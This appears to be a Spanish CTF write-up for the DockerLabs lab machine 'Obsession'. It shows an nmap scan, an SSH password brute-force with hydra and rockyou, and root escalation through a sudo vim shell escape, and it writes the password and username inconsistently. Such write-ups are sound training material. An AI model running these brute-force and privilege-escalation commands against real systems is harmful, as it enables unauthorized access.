> For the complete documentation index, see [llms.txt](https://ciberap.gitbook.io/ciberaprt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ciberap.gitbook.io/ciberaprt/dockerlbas/muy-facil/obsession.md).

# Obsession

## Identificación

Para la identificación empezamos con un escaneo de puertos

### Escaneo de puertos

Empezamos con el siguiente comando de `nmap` para escanear los puertos abiertos:

```bash
sudo nmap -p- -sS -sV -sC --open --min-rate=5000 -n -Pn 172.17.0.2
```

Con el comando `nmap` es el comando de escaneo de redes.\
El parámetro `-p-` indica que se escaneen todos los puertos disponibles.\
El parámetro `-sS` hace que sea un escaneo más sigiloso para no ser detectado.\
El parámetro `-sV` hace que se determine la versión del servicio de cada puerto.\
El parámetro `-sC` hace que nmap ejecute scripts para la recolección de información.\
El parámetro `--open` muestra todos los puertos que estén abiertos.\
El parámetro `--min-rate=5000` establece la tasa mínima de paquetes enviados por segundo, por lo que hace un escaneo más rápido.\
El parámetro `-n` indica que no realice la resolución de nombres DNS, sirve para acelerar el escaneo.\
El parámetro `-Pn` hace que no haga ping antes de escanear.

```
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:172.17.0.1
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.5 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0             667 Jun 18  2024 chat-gonza.txt
|_-rw-r--r--    1 0        0             315 Jun 18  2024 pendientes.txt
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 60:05:bd:a9:97:27:a5:ad:46:53:82:15:dd:d5:7a:dd (ECDSA)
|_  256 0e:07:e6:d4:3b:63:4e:77:62:0f:1a:17:69:91:85:ef (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Russoski Coaching
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Como podemos observar tiene **3** puertos abiertos, que son los siguientes:

* **21**, el puerto de FTP en el que corre *vsftpd 3.0.5*, como podemos ver, se puede entrar sin necesidad de tener un usuario, es decir que podemos entrar anónimamente.
* **22**, el puerto SSH que corre *OpenSSH 9.6p1* en Ubuntu.
* **80**, el puerto HTTP en el que corre *Apache httpd 2.4.58*.

### Descubrimiento de la vulnerabilidad

Para el descubrimiento en la vulnerabilidad accedí al puerto 80 desde el navegador web y me encontré lo siguiente.

<figure><img src="/files/tEvL0MEVwOaYLs6KSwTn" alt=""><figcaption><p>Captura del FTP con el archivo chat-gonza.txt</p></figcaption></figure>

Al prestar atención observamos que un posible usuario es russoski, por lo que iremos a hacer un ataque de hydra.

Hacemos un ataque de hydra con el parámetro `-l` indicando el usuario, y `-P` indicando la ruta del listado de contraseñas.

```bash
sudo hydra -l russoski -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

Y nos da de resultado lo siguiente:<br>

<figure><img src="/files/mFFcL0MNefrcgkjkl2rw" alt=""><figcaption></figcaption></figure>

Así nos dio el resultado con la contraseña `ilvoeme`&#x20;

Por lo que ahora podemos acceder por SSH con el usuario `russoki` usando la contraseña `iloveme`.

<figure><img src="/files/iLMWgBO1ycpYi30xM835" alt=""><figcaption><p>Accediendo por ssh con el usuario russoski</p></figcaption></figure>

### Escalando privilegios

Para escalar privilegios una de las maneras más sencillas es ejecutando el comando sudo -l, así nos mostrará que permisos tiene el usuario actual y los comandos que puede usar con permisos elevados.

<figure><img src="/files/VZ6D8ZEOYNa8InoNJDbC" alt=""><figcaption><p><code>sudo -l</code></p></figcaption></figure>

Como se puede ver se puede escalar privilegios con el **vim**.

Por lo que buscando por GTFOBins encontramos el siguiente comando para escalar los privilegios:

```bash
sudo vim -c ':!/bin/sh'
```

<figure><img src="/files/tHUkAHCjuWvqNkA9YMfi" alt=""><figcaption></figcaption></figure>

Así logramos tener acceso al usuario root solucionando esta máquina vulnerable.
